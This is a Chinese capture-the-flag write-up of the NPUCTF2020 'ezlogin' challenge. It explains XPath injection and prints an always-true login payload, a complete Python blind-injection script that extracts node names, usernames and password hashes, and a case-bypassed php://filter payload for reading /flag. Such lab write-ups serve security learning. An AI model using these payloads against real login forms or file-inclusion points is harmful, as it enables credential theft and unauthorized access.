zoukankan      html  css  js  c++  java
  • 刷题[NPUCTF2020]ezlogin

    xpath注入

    xpath注入这篇文章有关于xpath很详细的解答,包括原理等,详细了解请见此篇.

    我个人再稍微讲一讲:

    首先它的网站目录下会有一个xml文件,大概格式是这样:

    <?xml version="1.0" encoding="UTF-8"?>
    <root>
        <id>1</id>
        <name>admin</name>
        <id>2</id>
        <name>karsa</name>
        <id>3</id>
        <name>flaggg</name>
            <flag>flag{karsa is handsome}</flag>
    </root>
    

    root是根节点,name是root的子节点。大概是这样的树状结构。flag可能隐藏在这里,或者可能是账号密码,读取flag值或者密码

    $xml="/root/name[username='{$username}' and password='{$password}']";

    顺便说下,xPath 没有注释一说,所以构造的 payload 要根据语句进行闭合

    其实和sql注入很像,也是通过xml语句发现有问题的地方,构造危险代码,爆出信息

    比如我们传入username=x' or 1=1 or ''=',密码随意。因为xml的特性:

    查询如果不是用[键='值']这种方式的查询,只会返回所有路径标签的值
    如果带有[键='值']的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值

    因为填了两个or,这样即可爆出所有用户名和密码或者实现万能密码登陆。如果有多个节点,继续添加。

    之后的payload看文章就好了,真的总结的很好,payload直接用即可

    然后一点,为什么不能直接爆出所有的标签呢,因为这又和php有关了。php 只会输出 id 和 username。

    我个人认为遇见xpath画一个图有利于理解它的节点情况

    解题思路

    打开网页,登陆框

    实在是各种方法都试了,扫描,源码,f12就看到了一个js文件,登陆成功会转到admin.php,其他没看到任何有用的内容。

    找半天发现源码标签有点像xpath,那就试试把

    xpath

    先试试万能密码发现被过滤了,这里比较麻烦的一点是token值会不断刷新,需要尽快发送数据才行。

    他这里比较有意思的地方,正确的时候返回非法操作,再往后试1位会变成用户名或密码错误

    这里就不再手工注入了,直接exp

    exp

    网上找的exp(可能马上会专门出一个requests的博文,然后找些ctf题练练手,自己写)

    import requests
    import re
    
    s = requests.session()
    url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'
    
    
    
    head ={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
        "Content-Type": "application/xml"
    }
    find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
    
    strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    
    
    flag =''
    for i in range(1,100):
        for j in strs:
    
            r = s.post(url=url)
            token = find.findall(r.text)
            #猜测根节点名称
            payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
            #猜测子节点名称
            payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
    
            #猜测accounts的节点
            payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
    
            #猜测user节点
            payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
    
            #跑用户名和密码
            payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
    
            payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
    
    
            print(payload_password)
            r = s.post(url=url,headers=head,data=payload_username)
            print(r.text)
    
    
            if "非法操作" in r.text:
                flag+=j
                print(flag)
                break
    
        if "用户名或密码错误!" in r.text:
            break
    
    print(flag)
    

    exp有两个地方需要注意,1是这个是总的,爆什么在输出那里填哪个payload然后注释掉其他payload就行了,2是根据上图这里提交数据并不用直接在账号处提交,用xml的形式post提交就行了。其他没啥,跟普通的盲注脚本大同小异

    然后跑出来的形式大致的结构是这样:

    <root>
          <accounts>
                <user>
                      <id></id>
                      <username>gtfly123</username>
                      <password>e10adc3949ba59abbe56e057f20f883e</password>
                </user>
                <user>
                      <id></id>
                      <username>adm1n</username>
                      <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
                </user>
          </accounts>
    </root>
    

    这密码一看就经过md5加密了,MD5解密一下,果然,密码就是gtfly123

    一开始发现登陆不上,心态爆炸,不知道有啥问题,后面发现账号名不是admin。。。是adm1n。太坑了

    登陆成功

    发现base64,解密,看这个再看url中,明显是文件包含了,尝试一下。发现有过滤。最后测试一下,使用大小写绕过,用伪协议进行文件读取

    ?file=pHp://filter/convert.BAse64-encode/resource=/flag

    查看源码获得字符串,base64解密获得flag

    总结思路

    这里一开始没有任何思路,因为访问所有目录都会跳转,也就是说扫描器没有用了,然后其他就发现/static/main.js,如果登陆成功会跳转页面,一开始还在找有没有jwt或者其他js点,看了wp才知道是xpath,这里记一下,又是一种新思路

    • 查看源码发现标签有问题,尝试xpath注入
    • 通过xpath爆出密码
    • 登陆成功获得信息,拿到flag

    知识点

    • xpath注入
    • 盲注exp编写
  • 相关阅读:
    基于PI的Webservice发布实例
    SM30 表格维护生成器
    各种财务凭证的冲销
    SAP后台作业记录操作
    特性,批次特性建立的BAPI函數
    Windows 上 Nginx 路径的陷阱
    BitKeeper 和 Git
    Javascript 正则验证带 + 号的邮箱地址
    FastAdmin 开发第三天:认识目录
    PHP 中的对象传递
  • 原文地址:https://www.cnblogs.com/karsa/p/13439673.html
Copyright © 2011-2022 走看看